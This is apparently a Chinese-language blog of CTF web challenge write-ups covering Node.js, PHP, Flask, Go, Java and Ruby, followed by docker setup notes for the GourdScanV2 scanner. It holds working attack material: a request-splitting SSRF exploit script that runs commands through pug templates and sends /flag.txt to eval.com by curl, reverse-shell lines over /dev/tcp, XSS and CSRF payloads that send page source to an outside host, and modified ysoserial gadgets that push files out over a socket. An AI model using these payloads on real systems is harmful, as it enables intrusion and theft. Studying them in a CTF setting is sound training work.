Come draw with us!
Author: stackola
Hint! Changing your color is the first step towards happiness.
一道nodejs源码审计的题目。只要细心审计就OK的。
首先先分析路由。发现存在/flag,直接跟进,看一下有什么验证。
1 | app.get("/flag", (req, res) => { |
在这里,要求user.id==0,也就是说需要我们去伪造管理员身份。
继续分析,可以发现这题采用了jwt,jwt常见的攻击手法有两类
详见https://xz.aliyun.com/t/2338
在这里,经过尝试都不太行。但是继续分析路由接口。
可以发现init是个后门,serverInfo是个信息泄露,而updateUser是信息泄露利用的关键点。
整体逻辑为:通过updateUser,添加泄露点n,进而通过serverInfo获取信息。然后采用n来利用init这个后门。
接下来继续按刚才的逻辑分析。先来说一下serverInfo。
serverInfo将当前用户有权限的信息打印出来,其信息是从config里取出。
默认用户没有以上三个信息权限。由此可见p,n为敏感信息。进而去追他的利用链。
可以看到其在init中被调用,其md5值为target。然后和我们传入构造的pwHash作比较。之后执行了清空画板操作。所以猜测只要我们pwHash构造出来与target相等,即可伪造管理员。
继续往下看,可以看到113行这里,通过pwHash进而得到adminId,然后再121行返回admin的token。这正是我们想要的。
分析114,可以发现是将pwHash逐位于target做异或,然后累加,最终得到的即为adminId。
即我们要构造pwHash==target即可让adminId=0
此时逻辑已经清楚,那么我们如何得到n?
继续回到updateUser,想办法将n加入到我们的权限中。
分析updateUser,可以发现,其判断是否为admin,通过uid得到user对象,进而对username转化为小写作比较。
那我们是不是可以通过注册大写字母用户绕过?不存在的。在注册的时候,就已经对用户名做限制了。
此时有一个很奇怪的点。他们一个验证用的大写,一个验证小写。中间会不会出问题呢?也就是我们构造一个字符,符合下面条件
1 | username.toUpperCase() !== "hacktm".toUpperCase() |
其实是可以的,在字符转换中,有些奇奇怪怪的字符,也是会被转换的。
比如:在toUpperCase()函数中,字符ı
会转变为I
,字符ſ
会变为S
。在toLowerCase()函数中,字符İ
会转变为i
,字符K
会转变为k
。
此时我们便可构造hacKtm
来绕过。
紧接着往下,我们可以发现185行,对权限做了黑名单校验。禁止我们加入n的权限。在这里,可以直接通过数组绕过。将p放到数组里。
至此,这道题基本已经OK了,接下来就是利用。
hacKtm
用户1 | {"color": "0xDEDBEE", "rights": [["n"]]} |
1 | POST /init HTTP/1.1 |
Split that Shit
http://web2.ctf.nullcon.net:8081/源码:https://github.com/nullcon/hackim-2020/tree/master/web/split_second
打开题目,可以审查元素发现第一个hint。
然后http://web2.ctf.nullcon.net:8081/source
拿到源码,开始代码审计之旅。
分析题目,可以发现主页基本没什么东西,而是通过请求/core
这个接口,来获取内容,并添加至主页。
还是从源码入手。可以发现/core
接口是直接请求/getMeme
接口,获取到数据。此时传入了q参数。
然后可以发现存在/flag
接口,分析后,可以发现是个后门。并且需要本地访问。
根据以上信息,我们可以推断出,利用/core
接口,造成ssrf,进而访问/flag
后门,获取flag。
那问题来了,我们如何去得到一个ssrf?/core
中,我们可以操控的点只有参数q。
经过查询资料,最终发现其实题目名称就是一个hint。有一种攻击方式是:拆分请求来实现的SSRF攻击。
可以参考:
在这里就不细说了。
其实可以与CRLF注入类比一下。在这里,也是通过构造换行,来结束前一个请求,并构造出下一个请求。下面就是我们q的参数。我们只要成功注入,便会多一个发往flag的请求。
1 | x HTTP/1.1\r\n\r\nGET /flag HTTP/1.1\r\nadminauth: secretpassword\r\npug: #{xxx}\r\n |
1 | GET /core?q=x HTTP/1.1 |
在nodejs中,其实对换行操作做了处理,但是在node8及以下,在处理unicode字符存在问题。可以导致换行符出现。具体可以看上面文章
我们可以构造如下样子,来造出换行符1
http://example.com/\u{010D}\u{010A}/test
可以通过以下js脚本,来进行编码。
1 |
|
然后可以本地尝试以下。是否发出了两次请求。
由于原题目没有日志,我们修改源码,可以开启一下日志。添加如下两行即可。(记得npm install morgan
)
1 | var morgan = require('morgan'); |
至此,ssrf已经get。接下来分析/flag
接口。
可以看到,其传入了两个参数,都是以headers的形式。
adminauth是一个密码,pug则是我们要渲染的模板内容。
了解过ssti的同学一定不陌生模板这个东西。
在nodejs中,pug是一个模板引擎。其表达式形式为#{}
(#因为其在url中特殊用途,所以需要按如上方式再次编码。)
我们只需构造我们的代码,来获取flag即可。
在这里我又陷入了一个深坑。
nodejs 的exec默认采用sh执行,而sh在不同系统指向也不同,主要分为bash和dash,如果在dash中执行以下命令反弹shell,是会出问题的。1
bash -i >& /dev/tcp/10.0.1.98/7777 0>&1
具体可参考:解决ubuntu反弹shell失败的问题
解决方法:1
bash -c "bash -i >& /dev/tcp/evalip/2202 0>&1"
然后构造nodejs的反弹shell即可。
1 | global.process.mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/evalip/2202 0>&1"') |
在pug模板中,不能直接用require,所以我们采用如上方式。
此时审查代码,可以发现这里有2个waf。
分别是,禁止列表内元素,以及禁止小写字母出现。
刚入门CTF时,大家可能都接触过,jsfuck,aaencode,jjencode,在这里,我分析以上三种编解码后,采取了jsfuck。
虽然jsfuck中存在!
,但是我们根绝相关文档,可以将其替换为数字。
jsfuck在线编码
其实有!号含义,主要有以下几种。我们可以一一替换一下1
2
3false => ![] => (1==0)
true => !![] => (1==1)
1 => !+[] => (1)
然后将我们的反弹shell的payload编码,然后将叹号做如上替换即可。
(先替换true,后替换false)
然后即可。最终payload如下:
1 | // [jscode] 为构造好的js语句 |
赛后看了一下主办方的wp,发现js这里编码很简单。自己搞的有点复杂了。字符太多了。学到了一个新姿势1
2
3
4
5
6
7
8
9
// 如下语法,可以当做eval使用。
[].constructor.constructor("evalcode")()
// js中.和[]可以替换
[]["constructor"]["constructor"]("evalcode")()
// 在js中,字符串中,可以采用 \八进制数值
[]["\143\157\156\163\164\162\165\143\164\157\162"]["\143\157\156\163\164\162\165\143\164\157\162"]("evalcode")()
所以我们可以通过以上编码来进行绕过。此时因为引号在waf中,但这个waf我们可以直接二次url编码绕过。
再有,通过wp得知,pug模板不止#{}
一种方式,还可以直接- code
。
至此,本题所有知识点都已经介绍完。学到了很多新姿势。
最近恰逢永信举办公益赛,出题没有太好的思路,恰好这两天比赛学到了点好玩的。
在比赛时,看到可以通过ssrf构造header头,便开始想了,可不可以构造上传呢?
当然是可以的,于是便有了这道题目。
在这道题目中,遇到了一个小问题,就是构造好payload后,无法正常使用。node端一直报无法获取参数、此时就很迷。
最后解决方式,是通过wireshark抓取loopback数据包,可以看到以下情况。
我们可以发现有些字符依旧是url编码。我们需要将它再重编码一下。
最后可得正确payload。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66# exp.py
import requests
import sys
payloadRaw = """x HTTP/1.1
POST /file_upload HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------12837266501973088788260782942
Content-Length: 6279
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/?action=upload
Upgrade-Insecure-Requests: 1
-----------------------------12837266501973088788260782942
Content-Disposition: form-data; name="file"; filename="5am3_get_flag.pug"
Content-Type: ../template
- global.process.mainModule.require('child_process').execSync('evalcmd')
-----------------------------12837266501973088788260782942--
"""
def getParm(payload):
payload = payload.replace(" ","%C4%A0")
payload = payload.replace("\n","%C4%8D%C4%8A")
payload = payload.replace("\"","%C4%A2")
payload = payload.replace("'","%C4%A7")
payload = payload.replace("`","%C5%A0")
payload = payload.replace("!","%C4%A1")
payload = payload.replace("+","%2B")
payload = payload.replace(";","%3B")
payload = payload.replace("&","%26")
# Bypass Waf
payload = payload.replace("global","%C5%A7%C5%AC%C5%AF%C5%A2%C5%A1%C5%AC")
payload = payload.replace("process","%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3")
payload = payload.replace("mainModule","%C5%AD%C5%A1%C5%A9%C5%AE%C5%8D%C5%AF%C5%A4%C5%B5%C5%AC%C5%A5")
payload = payload.replace("require","%C5%B2%C5%A5%C5%B1%C5%B5%C5%A9%C5%B2%C5%A5")
payload = payload.replace("root","%C5%B2%C5%AF%C5%AF%C5%B4")
payload = payload.replace("child_process","%C5%A3%C5%A8%C5%A9%C5%AC%C5%A4%C5%9F%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3")
payload = payload.replace("exec","%C5%A5%C5%B8%C5%A5%C5%A3")
return payload
def run(url,cmd):
payloadC = payloadRaw.replace("evalcmd",cmd)
urlC = url+"/core?q="+getParm(payloadC)
requests.get(urlC)
requests.get(url+"/?action=5am3_get_flag").text
if __name__ == '__main__':
targetUrl = sys.argv[1]
cmd = sys.argv[2]
print run(targetUrl,cmd)
# python exp.py http://127.0.0.1:8081 "curl eval.com -X POST -d `cat /flag.txt`"
本文首发先知社区,文章链接:https://xz.aliyun.com/t/4862
最近打了打DDCTF,本来是无聊打算水一波。最后竟然做high了,硬肛了几天..
以下为本次比赛web题目的WriteUp:
看到url疑似base64,尝试解密后发现加密规则如下。
1 | b64(b64(ascii2hex(filename))) |
于是可以自己构造,使其实现任意文件读取,首先先尝试/etc/passwd。
1 | [plain] -> ../../../../../../../etc/passwd |
发现斜杠被过滤掉了。此时尝试读一下index.php源码。来看一下规则。
1 | [plain] -> index.php |
最终获取到源码如下。
在这里,可以看到对对文件读取做了限制,想绕正则,是不存在的。此时打开预留hint看看,猜测可能是echo的问题?试了许久,还是放弃了。
过了几天,默默打开CSDN评论,还是看到一点有意思的东西的。最终发现出题人故意将hint放在practice.txt.swp
emm,贼迷的一题。然后提示flag!ddctf.php
读源码,此时用config替代!号:
1 | ~/D/D/web-di~ $ python a.py f1agconfigddctf.php |
然后直接构造就好了
1 | url: http://117.51.150.246/f1ag!ddctf.php |
很简单的一个代码审计题目。一开始有点脑洞,需要绕一下认证,不过也不难。
访问页面,会有一个登陆认证,此时分析流量数据,可以发现他向auth.php请求了一下,返回值刚好是没权限。也就是权限验证在这里,分析数据包,可以发现,请求头有一个username字段。尝试修改为admin,此时成功通过认证。
然后返回了一个源码页面。此时进入分析源码阶段。源码不是太多,核心逻辑也很好懂,包括利用链的构造。
首先,分析源码,可以看到危险函数unserialize,以及file_get_contents。
此时可以大概知道题目大体解题流程如下:
通过session反序列化 –>创建Application对象–> 控制path –> getfalg
此时一步一步来。
分析代码,可以发现session这个变量,是由cookie传入的。此时经过签名校验,确定cookie不可更改。代码如下:
此时可以看到,签名规则是md5(eancrykey+session),也就是说,我们要想获得cookie控制权,必须得到eancrykey。通读代码,分析eancrykey出现地点。最终发现两个可疑点
a) eancrykey存放目录为../config/key.txt。
由于不在web目录且没有读文件的漏洞,此时攻击者不可获取。
b) 某处代码存在蜜汁调用。
很明显,可以看出是主办方给的后门,但是怎么用呢?
sprintf函数,是格式化字符串用的函数。可以参考c语言的printf,只不过这里不会打印,而是返回格式化后的字符串。
此时可以分析一下逻辑。
1 | # python 伪代码 |
此时问题来了,为什么会输出两次?因为在第一次格式化的时候,已经将eval填入data中,第二次格式化前的字符串为:Welcome my friend eval。此时没有%s占位,key也就无处可去了。
所以,此时我们将eval改成%s,遍可以成功打印出key。机智!
此时成功getkey。然后就可以愉快地伪造session了。
然后继续分析Application,我们该如何伪造session。此时,建议down下来Application.php,方便调试使用。
可以发现,代码中做了两层防护,来保证path的安全性。此时sanitizepath可以通过一个最经典的绕过—“双写” 来进行绕过。
1 | payload: ../ |
此时可以看出,在经过这个函数后,第二三四个字符将会被转为空。然后成功使../逃逸出来。
再看第二个限制了字符为18。此时我们可以通过../和./来进行绕过,不过,唯一缺点是,字符不能超过18个。
此时尝试读取/etc/passwd。计算其长度,为10。此时我们可以构造如下:
1 | /etc/../etc/passwd |
此时可以看到成功读取了/etc/passwd。
最终在 ../config/flag.txt读到flag,如下:
比较经典的一个题目了,绕过GD库,实现图片马。一般来说,搭配一个文件包含,简直是无敌的。在这里不多解释,直接上脚本了。
https://github.com/BlackFan/jpg_payload
Usage: php jpg_payload.php <jpg_name.jpg>
这题给好评,思路超级棒!
先说一下题目:开局给你3块钱,让你买5个一元一个的钻石。从而得到flag。
上来可以拿到源码,首先分析源码。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31# flag获取函数
def FLAG()
# 以下三个函数负责对参数进行解析。
# 1. 添加log,并将参数加入队列
def trigger_event(event)
# 2. 工具函数,获取prefix与postfix之间的值
def get_mid_str(haystack, prefix, postfix=None):
# 3. 从队列中取出函数,并分析后,进行执行。(稍后进行详细分析)
def execute_event_loop()
# 网站入口点
def entry_point()
# 页面渲染,三个页面:index/shop/reset
def view_handler()
# 下载源码
def index_handler(args)
# 增加钻石
def buy_handler(args)
# 计算价钱,进行减钱
def consume_point_function(args)
# 输出flag
def show_flag_function(args)
def get_flag_handler(args)
源码大概意思如上,可以看出大概流程。然后仔细分析,可以发现在购买逻辑中。先调用增加钻石,再调用计算价钱的。也就是先货后款。
现实生活中,肯定没毛病,但是在计算机中,会不会出现先给了货后,无法扣款,然后货被拿跑了。此时继续往下看,发现consume_point_function函数中,当钱不够时,会抛出一个RollBackException。此时,在逻辑处理函数execute_event_loop中,会捕获这个异常,并将现有状态置为上一session状态。如下:
此时,天真的我,想起了条件竞争,如果我够快的话,会不会让他加几个钻石,重置session时,重置到已经加完的。
但此时,仔细分析代码,以及flask的特性,你会发现一件事,他的状态并非是基于服务端session,而是客户端session,此时不应该叫他session了,叫cookie更合适一点。也就是,所有的状态都存在客户端。你竞争的话,他的session是单线程的。我必须操作完上一状态,才可以操作下一状态。
此时,条件竞争凉凉。
那既然状态是在客户端,那我可不可以修改?答案是可以。但是你得需要知道flask的secret_key。然后从而伪造cookie,此时我们无法伪造。思路继续断掉。继续分析代码。
仔细分析execute_event_loop,会发现里面有一个eval函数。无论在什么语言中,eval可控, 必定是一个灾难。
此时 action使我们可控的,但是由于白名单过滤的存在,我们可控的范围较小。
此时,我们可控点为eval前面对的action部分,于是后面的脏字符,我们可以通过#去注释掉。(p.s.用的时候请url编码为%23)
但是由于白名单限制,我们无法做一些操作。所以只能依靠其本身的作用 – 动态执行函数。
此时action,即需要执行的函数名,args,执行函数的参数。这两个都在我们可控范围。
尝试构造如下payload:1
?action:show_flag_function%23;123
此时,成功返回:
果然,我是最天真的那个崽。
但此时也证明了我们思路的可行性,此时我们只需要找一个函数,可以给其传一个参数的那种。进而getflag。
(p.s. flag函数无参数,所以我们无法直接执行。)
找啊找啊找朋友,一天过去了,又一天快要过去了… 代码都快会背了….
最终功夫不负有心人,终于发现一个神奇的地方。
第144行,trigger_event函数中,他传入了两个功能。然后回想代码,可以发现前面对各个函数执行,是通过execute_event_loop来对队列里的任务进行执行的。trigger_event正是那个添加任务到队列中的函数,此时该函数我们可控。
再想到之前的条件竞争,我们可以在内部构造一个竞争?对的,可以的,但是此时不配称之为竞争了。
首先我们看一下我们购买的正常逻辑。
此时,由于其先进先出的原因,我们可以一开始就传入两个参数,如下:1
?action:trigger_event%23;action:buy;111%23action:get_flag;
此时传入一个buy和getfalg。我们再看一下逻辑。这样成功实现了,没钱买东西。
此时,问题来了,即便我们够了5个钻石,此时也获取不到flag。
因为他将打印flag的语句注释掉了。
可以看图片155行,此时return的为“天真的孩子”。那这样的话,是不是这题就没法解了?
肯定能解啊,怎么可能不能解。
此时仔细看165行,发现了什么?他是将flag作为参数传到show_flag的。别忘了,trigger_event是有log功能的,也就是此时flag会加进log里的。虽然log是在session中,但是,此时flask的特性,我们之前已经说过了。session是在本地的。虽然不能伪造,但是我们还是通过工具解开,查看内容的。
emm,感觉这题应该比吃鸡分高的。这道题,感觉比较偏实战渗透。不过作为ctf题目来说,的确有点脑洞了。因为大部分同学没往实战上想。
首先第一步:XSS
说实话,一开始拿到这题第一反应是注入。瞎注了半天。最后无疾而终。
知道hint出来,竟然是我最喜欢的xss,然后就做了。做到后面,已经拿到接口了,也尝试了注入,然而又没卵用。
第二步:注入
主办方不放hint是注入的话。这题我就不打算做了。实在get不到点。还是太菜了、
——以下正文——
xss读文件,很基础。发现waf了iframe和window。在es6新语法中,很好绕的。
1 | function s(e) { |
这里还有一个坑点是,渲染payload是在admin.php,此时如果读当前页面源码,返回的是你的payload。必须再次通过iframe读取admin.php,才能获取到本来的源码。
从源码中,可以得到一个接口:
1 | http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id= |
这就是传说中的注入点!!!要不是主办方肯定他是,我都不敢信…
最后终于通过宽字节注入,试出了点眉目。
p.s.注入过程真心迷,不跑5遍以上脚本,读不出来正确的东西
1 | import requests |
很迷很尬的一道题,最后小手段才做出来。
首先,很容易可以看出来,是一个go写的。
而且买票时,票价只可以多 ,不可以少。此时可以猜到是溢出,从而实现购买。
可以看一下,go中的数字范围。然后天真的从大往小试。最终卡在了以下俩数。
1 | 9223372036854775807 // 可以输入,显示正常 |
于是自己天真的认为 ,题目对溢出做了判断,然后就凉了。蜜汁分析了半天。
最后再注册处发现一个越权漏洞。每次注册,无论成功与否,都会返回注册用户的cookie,此时可以直接登录。
于是看了一下榜单,挨个试了一下榜单师傅们的id。
最后还真找到了rmb122师傅的账号,然后发现他用的4294967296溢出。也就是uint32
心态炸了。竟然不是uint64,自己也没试uint32。哭了。
此时通过溢出,可以直接购票。然后我们进入下一关,如何删除竞争对手。一说到游戏,顿时想起了“白导”。我自己也导演一场呗。
于是,新建账号 -> 买票 -> 付款 -> 加入游戏 -> 获取id踢掉。一条龙服务。脚本如下:
1 | import requests |
挺有意思的一道题,最后算是非预期出的吧。预期解实在是想不出来了。
首先拿到题目,其实就感觉是杭电那题了 wp链接
通过蜜罐sql客户端,来获取连接者的数据。但这题,说实话前期把我玩蒙了。
题目逻辑,首先下载扫描验证端,放到服务器上,做一下信息收集。然后再服务端填写自己服务器信息,就可以开始弱口令扫描了。
天真的我以为端口是填agent的端口。酿成一大惨祸。最后才发现,端口是填数据库端口。这样一来,心结解开。终于能拿数据了。
拿数据的心路历程更加艰难险阻。首先肯定是先读/etc/passwd。进而直接尝试读/flag,发现没有。
此时,自己意识到了事情的不简单。这是要和flag玩捉迷藏么。
这是很难受的一件事…
p.s.心酸历程就不说了。读文件肯定没这么顺利,要都说的话,1万字也收不住。
按照杭电那次学到的妙招,首先可以先读一下/proc/self/environ,如下图。
此时可以发现两个点,第9行和11行,组合起来/home/dc2-user/ctf_web_2/restart.sh。此时读取发现如下信息
从中,我们可以分析出来,该应用为flask应用,用gunicorn中间件起来的。
此时根据规则 gunicorn 文件名:项目名。可以推出:
/home/dc2-user/ctf_web_2/didi_ctf_web2.py
尝试读取,可以发现:
此时证实了我们的猜想。然后根据flask_script项目的目录结构,进而读取app。
然后一环接一环,依次读出了下面三个。
/home/dc2-user/ctf_web_2/app/init.py
/home/dc2-user/ctf_web_2/app/main/init.py
/home/dc2-user/ctf_web_2/app/main/views.py
在main/views.py中,我们可以看到一个hint。
猜测是通过curl可以从数据库中读到flag…
奈何自己比较菜,看到数据库遍想起来好像有个文件,是在手动修改数据库时,会留log。
对,没错,就是.mysql_history。此时尝试用户目录,root目录,最终在root目录读到flag
/root/.mysql_history
p.s.压轴题哈,说实话,这题真的学会了不少东西。毕竟自己太菜了,虽然本科专业为java开发狗。但我真的不太熟啊…
一共分为三关吧。
首先是一个PadOracle攻击,伪造cookie。这个解密Cookie可以看到hint: PadOracle:iv/cbc。
第二关,读文件,看到后端代码后,才发现,这里贼坑。
第三关,反序列化。
首先第一关好说,其实在/api/account_info这个接口,就可以拿到返回的明文信息。然后通过Padding Oracle + cbc翻转来伪造cookie即可。在这里就不多说了。网上很多资料。
最后拿到cookie,直接浏览器写入cookie就OK。然后可以获取到一个下载文件的接口。
/api/fileDownload?fileName=1.txt
虽然说是一个任意文件读取的接口,但是贼坑、
一顿操作猛如虎,最后只读出/etc/passwd…
搜到了很多字典。然后burp爆破一波,最后发现/proc/self/fd/15这里有东西,看到熟悉的pk头,情不自禁的笑了起来。(对,就是源码)
源码也不多,很容易,可以看到一个反序列化的接口。
在反序列化之前,还调用了SerialKiller,作为一个waf,对常见payload进行拦截。
首先题目给了hint:JRMP。根据这个hint,我们可以找到很多资料。在这里自己用的ysoserial,根据他的JRMP模块来进行下一步操作。
在这里,JRMP主要起了一个绕过waf的功能,因为这个waf只在反序列化userinfo时进行了调用。当通过JRMP来读取payload进行反序列化时,不会走waf。
首先,JRMP这个payload被waf掉了,我们可以采用先知上的一种绕过方式。
直接修改ysoserial源码即可,将原有的JRMPClient的payload复制一份,改名为JRMPClient2,然后保存并编译。
此时我们可以尝试使用URLDNS模块,来判断是否攻击成功。
1 | # 修改替换{{内容}} |
然后查看dnslog信息。发现存在,那就是ok了。
接下来可以尝试换payload了。此时这里还存在一个问题。服务器端无法执行命令!!
这个是hint中给的,所以我们需要找另一种方式,如:代码执行。
查阅资料,发现ysoserial预留了这块的接口,修改即可。
然后我们尝试去修改ysoserial/payloads/util/Gadgets.java中createTemplatesImpl方法如下:
1 | // createTemplatesImpl修改版,支持代码执行 |
此时,我们的payload已经可以支持代码执行了。
在这里,我是直接用本地的题目环境进行调试,尝试打印了aaa,操作如下。
1 | # 修改替换{{内容}} |
然后进而写一下获取文件,以及获取目录的代码。此时拿到文件,无法回显。我们可以用Socket来将文件发送到我们的服务器,然后nc监听端口即可。
1 | // 以下代码使用时,记得压缩到一行。 |
然后操作如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16# 修改替换{{内容}}
# 开启监听端口
# 建议采用ceye的dnslog查看
# 执行时合并为一行,为了好看,我换了下行
java -cp ysoserial-5am3.jar ysoserial.exploit.JRMPListener 8099
CommonsBeanutils1 'code:{{javapayload}}'
# 生成链接JRMPListener的payload
# ip端口那里填写运行第4行脚本的主机地址端口
java -jar ./ysoserial-5am3.jar JRMPClient2 {{10.0.0.1:8099}} | base64
# 监听端口数据
nc -lnvp 2333
# 此时将第10行生成的代码,直接打到远程即可。
p.s. /flag是个文件夹
]]>本文首发先知社区,文章链接:https://xz.aliyun.com/t/3258
这次比赛感觉比较有意思的一道题。2019 HCTF-share
描述
I have built an app sharing platform, welcome to share your favorite apps for everyone
hint1:https://paste.ubuntu.com/p/VfJDq7Vtqf/
Alpha_test code:https://paste.ubuntu.com/p/qYxWmZRndR/
hint2:
<%= render template: "home/"+params[:page] %>
in root_path
hint3: based ruby 2.5.0
URL
基准分数 1000.00
当前分数 965.54
完成队伍数 1
开始做这道题,本来是因为疑似XSS,勾起了自己的兴趣。没想到越往后越坑。ruby真心没见过。最终耗时27小时,终于搞出来了,话说一血还是很开心的。
首先分析一波整到题目,按照题目描述,这个网站是用来共享应用的。
首先用户可以向管理员反馈建议,让管理员将某应用加到网站上。
然后管理员页面会有上传应用到网站上,以及将某应用下发给某人进行测试。
主要页面如下:
用户:
应用展示页:http://share.2018.hctf.io/home/publiclist
通过用户反馈页面,可以尝试插入xss。在这里用img进行测试:
1 | <img src=//eval.com:2222> |
然后在eval.com进行监听。
1 | nc -lnvp 2222 |
成功收到回显,可以得知采用PhantomJS作为bot,然后尝试读取后台源码。
1 | function send(e) { |
通过后台源码可以发现管理员页面。
管理员:
至此,可以猜测完整利用链为如下:
CSRF上传shell –> CSRF将文件下发到用户端 –> 用户端获得shell链接 –> GET Shell
一开始,按正常逻辑,写出upload的exp, 经本地测试完全可用。然而打过去之后,发现一直报错500。尝试下发的时候,也是500。
真心难受,最后实在受不了问出题人,他说他的payload没问题,可以用的。
最后,在自己和题目的磨磨唧唧中,队友发来了robots.txt里有代码。然后…心态有点炸。就顾xss了,竟然忘了渗透的基本要素,逮到网站先扫扫。
拿到upload的源码如下。
1 | # post /file/upload |
可以发现此处上传的文件名和文件内容,都会经过base64解码,所以此时需要修改一下。
最终exp如下:
1 | function send(e) { |
此时可以成功上传文件,可以在Alphatest页面,查看到当前总文件数。
然后通过CSRF构造下发。
1 | function send(e) { |
依旧一直报500,当时很懵,然后电脑刚好没电,没有继续试下去。也没好意思再问主办方,毕竟之前是自己没看源码。
第二天一早醒来…
吃瓜的我,感觉到一股深深的恶意….
接着再试就可以了。此时成功拿到自己上传的文件。然而…有个卵用。
ruby的环境,出题人肯定没有配置PHP解析。然后…该如何是好。恰好中午主办方放出了hint
1 | <%= render template: "home/"+params[:page] %> |
可以很明了的看出来,需要通过上传模板,然后进行包含。但是查询资料发现如下。
也就是说,上传文件,必须上传到/app/views/home目录下。此时才可以进行包含。
话说之前一直傻在这里了,否则早就出了。先说下正确做法吧。
1 | 文件名:../../app/views/home/test.erb |
编码后上传即可。此时便实现了跨目录上传。然后获取到文件名后,通过
1 | http://share.2018.hctf.io/home?page=te20181110-328-zexae3 |
即可成功包含,获取flag。
做完题目后,在和出题人沟通时,意外得知了一个好玩的。
fid只可以给一次,那么,我可以通过监听,来做到,只要出现新文件,立马给到我的账号。这样别人永远无法获得上传文件。想法很棒,但是现实却很真实,自己第二天写wp才想到要搅屎,此时复现时发现有一个队在做。加紧写出了搅屎代码。然而没卵用,刚写好,跑起来。看见那边二血已经到手。
但最后还是再服务器跑着,以防三血诞生。但是,好像并没有人继续做下去了。
1 | import requests |
自己之前一直在纠结可能有其他点,因为之前自己测试的时候,通过../会导致500错误。可能也是因为那一夜,自己有点懵。被500吓怕了。所以往后一直在通过自己本地ruby来测试如何绕过。
测试期间发现。
1 | share = Tempfile.new(name,path) |
其中path中,可以用../跨目录,但是name中的斜杠,会被自动删掉,很迷。
然而题目中的可控点又是在name中。
1 | name = Base64.decode64(file.original_filename) |
所以导致自己把思路放在了这边,没有再次远程尝试。
甚至还动摇了,怀疑page的点没有找到。
最后才发现自己环境不对,两次测试环境,一次是2.3.7,另一次是2.5.3…..
一开始考虑到可能是这个CVE-2018-6914,但是他描述中写的是目录,也就想当然是我以上那个path。
最后用2.5.0终于复现成功
一键ruby环境….
1 | sudo docker run -dit --rm ruby:2.5.0 |
1 | <%= render template: "home/"+params[:page] %> |
如果正常理解以上代码,就是限制包含home控制器下的文件。
但是事实上按照出题给的hint1
如下两个链接包含后都很迷。
1 | http://share.2018.hctf.io/home?page=index |
首先是第一个index.html.erb,可以假设理解为他的代码存在问题,导致500。(包含失败也是500)
接下来的第二个就更迷了,既然限制了home,为什么还能跳去layouts。当时有点纠结这个问题,导致思维有点乱,心态也有所干扰。
赛后自己尝试了一下。发现只要是views内的内容都可以进行包含。也就是说那个控制器限定没个卵用,但是必须在视图文件夹内。
那么,可以总结一下。
1 | # 可以渲染任意路径文件 |
在线mysql运行环境,欢迎大家使用,别弄坏了它呀。另外还有什么网页上的问题,欢迎您提交反馈。
分析题目,题目可以执行sql语句,此时存在执行后的回显
结合下面的报告栏,疑似xss类题目,尝试输入<>,发现存在waf。在sql语句中,为绕过waf,通常会使用ascii码16进制编码,此时可以构造<img>
的十六进制
1 | select 0x3c696d673e |
此时发现页面可以成功渲染出img标签。
找到xss点了,然后进行报告,一开始以为是留言可以直接写payload,但是尝试后发现不行。
仔细读题,发现他应该是会check url。
直接尝试写入自己监听的url http://xxx.xx/xx
可以发现他有一个后台。
1 | http://127.0.0.1//admin_zzzz666.php |
尝试访问后,发现只可以本地访问。
此时可以利用前面发现的xss,来构造csrf。
此时传入的参数,为我要引入的恶意js。
1 | payload:<script src=//eval.com></script> |
所以可以构造以下页面进行csrf,提交该页面的链接,让admin访问,然后会提交表单,跳转到http://127.0.0.1/runsql.php
页面,成功在该页面实现xss。
1 |
|
此时将该文件上传到任意服务器或托管平台
csrf至此已经成功完成,接下来需要让其发挥最大效果。也就是我们修改eval.com的js代码。
读源码
1 | function send(e) { |
读取后发现和自己访问,唯一的不同是多了一张图片。
自己天真的以为还用刚刚的套路就可以读,然而发现想错了,这样只能读出来一个标签。
然后继续去搜索,如何读取图片,由于没有找到如何下载源文件。
最终发现canvas可以返回二进制流。
所以自己直接尝试渲染出来并返回图像了。
好在这道题flag就是图片,如果是隐写的话,可能又得费点劲。
读图片
1 | function send(e) { |
成功拿到回显
最后成功拿到flag
]]>https://github.com/ysrc/GourdScanV2
关于安装配置,readme已经介绍的很清楚了。但奈何自己对Redis还有python一些库都不太熟,也懒得去踩那些坑。于是决定直接使用docker进行部署。
环境:
腾讯云学生机
Ubuntu Server 16.04.1 LTS 64位
1 核 1 GB 1 Mbps
扫描的时候,将带宽临时升级为了5M(一天不到5块钱吧)
1 | sudo apt install docker.io |
1 | git clone https://github.com/ysrc/GourdScanV2.git |
下载完成后,进入该目录
1 | cd GourdScanV2 |
但是自己在使用途中,遇到了一个问题。
在安装tornado包的时候会报错。自己怀疑是python版本的问题,也有可能是其他原因。
百度无果后,自己尝试将基础镜像改为16.04即可。
1 | sed -i "s/ubuntu:14.04/ubuntu:16.04/g" Dockerfile |
然后运行
1 | sudo docker build -t gourdscan:2.1 . |
1 | sudo docker run -d -p 10000:22 -p 8000:8000 -p 10086:10086 -p 10806:10806 gourdscan:2.1 /usr/sbin/sshd -D |
然后登陆进入docker,登陆有两个方法。
ssh root@localhost -p 10000
用户名: root,密码: Y3rc_admin
docker exec -it 容器ID bash
此时运行服务即可
1 | redis-server ~/gourdscan/conf/redis.conf |
有时候会懒得在进入docker启动两个服务,有没有办法让他直接启动呢?有的。
此时自行创建一个start.sh即可,然后在Dockerfile倒数第二行写入以下代码即可
start.sh内容
1 | sleep 1 |
Dockerfile增加的内容
1 | #添加start.sh,并准备开机执行 |
